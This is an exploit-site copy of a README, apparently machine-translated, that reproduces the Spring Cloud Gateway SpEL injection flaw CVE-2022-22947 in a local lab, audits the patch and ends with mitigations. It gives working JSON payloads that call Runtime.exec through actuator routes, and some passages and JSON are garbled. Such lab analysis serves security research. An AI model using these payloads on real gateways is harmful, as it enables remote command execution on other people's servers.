Sploitus

Exploit for Expression Language Injection in Vmware Spring Cloud Gateway

githubexploit Β· 2022-04-06

Exploit Code

README342 lines
## https://sploitus.com/exploit?id=42CF2AF2-E2A2-5B06-B65E-B362D765E6ED
## SpringCloud-Gateway Command Execution Vulnerability (CVE-2022-22947)



## Environment setup

### Way one:

By cloning the already written environment code on Github.

[Github repository](https://github.com/Ha0Liu/CVE-2022-22947)

```git
//⚠️ Note that the environment code download path should not contain Chinese characters or spaces
git clone https://github.com/Ha0Liu/CVE-2022-22947.git
```

! [](. /Picture2/Git environment build.png)

Open the package we just downloaded using IDEA, Open ---> Path to the file we just downloaded ---> Open.




### Way two:

Build the environment by creating the project manually.

(1) Create a new project, configure it, and then go all the way to next;

! [](. /Picture2/New Project.png)

(2) Analyze the directory structure of the project:

1. The .idea folder is the default configuration file of InteliJ IDEA, which has no other purpose, and can be deleted or retained according to your needs;

2, src folder is mainly for the entire project code area, including java and resource two folders, java is the project to write java code in the region, resource is the configuration of the entire project area, Spring project default in java to add SpringApplication method in java, this method is the default startup method for Spring, resource default add application.properties, this file is the configuration file for the Spring project;

3, test folder for the test folder, you can test methods in test;

4, pom.xml for the maven configuration file, which includes the project's dependencies, configuration and so on;

5, .iml for the configuration of maven dependencies, also added by default;

6, External Libraries folder for all the dependencies of this project.



(3) Add maven dependencies to the pom.xml file ([maven repository](https://mvnrepository.com) contains all the dependency details).

1, pom file will be generated by default part of the xml code, details are as follows:

! [](. /Picture2/Default pom.png)

2, import the project dependencies needed, which because this project is a SpringBoot project so you need to import spring-boot-starter dependencies as a server initiator, and secondly, because of this vulnerability for the SpringCloud Gateway gateway vulnerability, the risk of the version for the version of 3.1.1 or less! So this time we use the 3.1.0 version, to reproduce the vulnerability, at the same time we need to listen through the actuator interface, access to the gateway, so here we also need this dependency, the details are as follows:

! [](. /Picture2/pom dependency.png)

(4) Modify Spring's configuration file (path is src --> main --> resources --> application.properties) as follows:

1, server.port for the Spring server start port, the default is port 8080, you can set according to their own circumstances;

2, management.endpoint.gateway.enabled=true for the opening of the actuator port detection SpringCloud-Gateway gateway, the default is false, because of this vulnerability need to listen to the status of the gateway and other operations, so we need to manually change it to true to enable listening;

3, management.endpoints.web.exposure.include=gateway for the selection of the server's gateway for the Gateway gateway, because this vulnerability is the Gateway gateway vulnerability, so we declare the gateway in the configuration file to select the Gateway gateway.

! [](. /Picture2/ConfigurationFileModification.png)

(5) modify the self-generated Java classes after the new project (class name is usually the project name + Application, the path is src --> main --> java --> com.xxx.xxx --> xxxApplication), details can be seen in the figure below:

! [](. /Picture2/main.png)

(6) Start the project as shown below:

! [](. /Picture2/Running Project.png)

(7) Visit http://localhost:9000, if the page display is consistent with the screenshot, it proves that the environment is built successfully.

! [](. /Picture2/Run successfully screenshot.png)

## Reverse Audit

(1) First we look at the official fix patch, differ as follows: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e , official In org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue this function replaces StandardEvaluationContext with GatewayEvaluationContext to execute SPEL expressions.

! [](. /Picture2/OfficialPatch.png)

From the above figure you can see that this patch, mainly by modifying the SPEL expression parsing method, by 66 lines you can see this if judgment statement, you can see the need for SPEL expressions need to start with "#{", to "}" end, this getValue method function for SPEL expression parsing, you can see that this vulnerability for SPEL expression departure RCE vulnerability.

(2) By control + left mouse click on the getValue field, you can backtrack up to find org.springframework.cloud.gateway.support.

ShorycutConfigurable.ShortcutType enumeration.

! [](. /Picture2/enumeration details.png)



The DEFAULT method in the enumeration is called as can be seen by the DEFAULT method above, the method details are as follows:

``` java
default ShortcutType shortcutType() {
return ShortcutType.DEFAULT;
}
```

! [DEFAULT method](. /Picture2/DEFAULT method.jpg)

(3) Backtrack up to find org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties().

! [](. /Picture2/normalizeProperties.png)

This normalizeProperties() is to parse the properties of the filter, will pass the filter's configuration properties into the normalize, and finally into the getValue to execute the SPEL expression caused by the SPEL expression injection.

## Positive auditing (no return to utilize the chain)

(1) According to the document [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/) multi/multi actuator_api.html ) to see, the user can create and delete routes in the gateway through actuator, the following figure shows the basic construction of the gateway.

! [](. /Picture2/Gateway construction.png)

(2) You can find interfaces for gateway creation, deletion, etc. in IDEA through actuator's mapping function.

! [](. /Picture2/Gateway Interface.png)

(3) Tracing to the RouteDefinition class reveals that this class is the content of the structure that declares the gateway.

! [](. /Picture2/RouteDefinition.png)

(4) Trace the FilterDefinition class and find that there are two parameters in the Filter: "name" and "args".



(5) Trace the name parameter, found in the AbstractGatewayControllerEndpoint # save () method for the name of the filter, save method for the creation of the gateway interface, this method calls two parameters a gateway id (can be customized), the other is the RouteDefinition, the above The text states that this object declares what the structure of the created gateway is, which triggers the vulnerability.

! [](. /Picture2/Filter's name filter.png)

(6) Dynamically debug the isAvailable() method via breakpoints to see what names can pass this filter.

! [](. /Picture2/isAva.png)

! [](. /Picture2/dynamic debugging.png)

Name checksums can be bypassed by using name as shown above.

(7) Through the above analysis, we can carry out the RCE attack by specifying the "name" parameter and the SPEL expression starting with "#{" and ending with "}". The Payload is as follows:

```
/**
* Explanation of the SPEL expression in the Payload
*Since we need command execution through expression here so we need to call the method that executes the command in the form of T(java.lang.Runtime).getRuntime().exec().
* Since a string of type String is required to pass the expression in when executing the command, the expression needs to be type-forced to a String object.
* Since the expression needs to be passed in as a byte stream when passing it in, the T(org.springframework.util.StreamUtils).copyToByteArray() method needs to be called.
/
{
"id": "Can be changed at will (cannot be the same as the previously created id)", "id": "Can be changed at will (cannot be the same as the previously created id)", "id".
"filters": [{
"name":"πŸ‘† Any name from the screenshot above",
"args": {
"name":"πŸ‘† any name in the screenshot above", "args": {
// this value is the command to pop up the calculator (macOS)
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\" /System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
}
}], "uri": "".
"uri": "http://example.com"
}
``

(8) The generic generic utilization chain ofpicates ([official website](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a- particular-route)): the SPEL execution process of the predictive chain is the same as that of the filter, and the following figure shows the name checksum matches of the predictive chain, which can be used to execute commands through these names, and the name checksum mechanism of the predictive chain can be obtained through dynamic debugging, which can be used to construct the payoff chain according to the example in the official website. The following figure shows the name check matching content of the predicates, which can be executed by these names.

The name-checking mechanism can be obtained by dynamic debugging. [](. /Picture2/redicates.png)

```
/**
* Explanation of SPEL expression in Payload
*Since we need command execution through expression here so we need to call the method that executes the command in the form of T(java.lang.Runtime).getRuntime().exec().
* Since a string of type String is required to pass the expression in when executing the command, the expression needs to be type-forced to a String object.
* Since the expression needs to be passed in as a byte stream when passing it in, the T(org.springframework.util.StreamUtils).copyToByteArray() method needs to be called.
/
{
"id": "Can be changed at will (cannot be the same as a previously created id).", {
"predicates": [{
"name":"πŸ‘† Any name from the above screenshot",
"args": {"_genkey_0": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec( new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream())})}"}
}], "filters": [], "filters".
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
``

## Summary (no callbacks to utilize chains)

The filters, predicates chain with no fallback chain does exist and can trigger an RCE as long as the filters and predicates names legally bypass the restriction.



## Positive Audit (with fallback utilization chain)

(1) Principle of Recall: Route definition information stored by the user is stored in memory, and when a route spel expression is executed by refreshing it, the execution result is written into the route information. The RCE execution result can be viewed in the Route Information Display via the Route Information API port.

(2)As shown in the explanation on the official website, name="AddResponseHeader" in the utilization chain of filters can trigger the utilization chain of returns.

```
/**
* Explanation of SPEL expressions in Payloads
* Since we need to execute the command through the expression here so we need to call the method of executing the command through the form of T(java.lang.Runtime).getRuntime().exec().
* Since a string of type String is required to pass the expression in when executing the command, the expression needs to be type-forced to a String object.
* Since the expression needs to be passed in as a byte stream when passing it in, the T(org.springframework.util.StreamUtils).copyToByteArray() method needs to be called.
/
{
"id": ""Can be changed at will (can't be the same as the previously created id)",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\" whoami\"}).getInputStream())}"
}
}],.
"uri": "http://example.com"
}
``

(3) Below we need to think about whether the rce attack with returns is possible for all names except name="AddResponseHeader", as in the case of the no-return chain.

(4) We use name="RedirectTo" and try to reproduce it to see if it is possible to do the return attack.

! [](. /Picture2/RedirectTo-save.png)

! [](. /Picture2/RedirectTo-Get.png)

I found that it doesn't do a postback, and looking at the backend log messages, I found that the backend returns a null pointer exception.

! [](. /Picture2/RedirectTo-log.png)

Go to the official website to check the args parameter we entered does not match the filter caused by this filter requires two parameters a "status" and another is "url", we change the parameters, and then executed once.

We can do it again by changing the parameters. [](. /Picture2/302.png)

! [](. /Picture2/3022.png)

It still returns 404, but the background error is not a null pointer exception. By looking at the exception message, it means spring-cloud-gateway is parsing the url format. In other words, there are restrictions on the type of the corresponding parameters, such as status must be an HTTP status code (enumeration type).

The following is an example of a parameter type restriction, such as status. [](. /Picture2/302 log.png)

We need to find another breakthrough point and find a parameter that is of type String.

(5) Let's go to the official website and look for a filter whose parameter is a String ([link to official website](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader- gatewayfilter-factory[)), e.g. the RemoveRequestHeader filter only needs to pass in a name string of type String so that we can construct a SPEL expression as the value of name.

! [](. /Picture2/official.png)

Below we can construct the Payload to try it out and find that we can display it back.

! [](. /Picture2/Remove-save.png)

! [](. /Picture2/Remove-get.png)

It can be seen that in the Filters' utilization chain with returns, there is not only a filter on the name, but also on the args parameter in it, but the restriction can be bypassed by constructing different filters.

(6) the utilization chain of predicates has back to show the mining route and Filters mining ideas are the same, through the official website of the parameter type and parameter content filtering, to find out in line with the implementation of SPEL expression filter, you can perform the RCE with back to show.

(7) predictates can be name="Cookie", command execution, through the official website of the parameter reference for the construction.

! [](. /Picture2/cookie.png)

Constructing the Payload to try it out and found that it could be shown back successfully.

! [](. /Picture2/cookie-save.png)

! [](. /Picture2/cookie-get.png)

The chain of predicates returns does exist, and there is a restriction not only on the args parameter name, but also on the corresponding type of the parameter. There are also restrictions on parameter integrity.

## Summary (with chaining)

In the utilization chain, Spring not only filters the name of the filter, but also restricts the parameter types of args and the number of parameters, which can be viewed in the official website to determine whether there is a chain of filters available.



## Vulnerability Replication

1. No return to show the utilization chain

(1) First you need to create a gateway, send a POST request, and construct a malicious Payload.

! [](. /Picture2/Replication1.png)

(2) Refresh the gateway.

! [Reproduce2](. /Picture2/Replication2.png)

(3) Get the gateway information, send a GET request for the test gateway we just created, and pop up the calculator.

! [](. /Picture2/Replication3.png)

(4) Delete the gateway.

! [](. /Picture2/Replication4.png)

2, there are back to show the utilization chain

(1) First you need to create a gateway, send a POST request and construct a malicious Payload.

! [](. /Picture2/cookie-save.png)

(2) Refresh the gateway.

! [reproduce2](. /Picture2/Replication2.png)

(3) Get the gateway information, send a GET request to the hacktest gateway we just created, and display "whoami" successfully.

! [reproduce3](. /Picture2/cookie-get.png)

(4) Delete the gateway.

! [Repeat 4](. /Picture2/cookie-delete.png)





## Rehabilitation programs

1. Interim restoration program:

(1) If the Actuator endpoint is not needed, you can disable it by the following configuration.

```
management.endpoint.gateway.enabled=false
```

(2) If Actuator endpoints are required, they should be protected using Spring Security.



2. Official upgrade patches:

The official security version has been released:

```
3.1.X version users to upgrade to 3.1.1+.

Users of version 3.0.X should upgrade to 3.0.7+.
```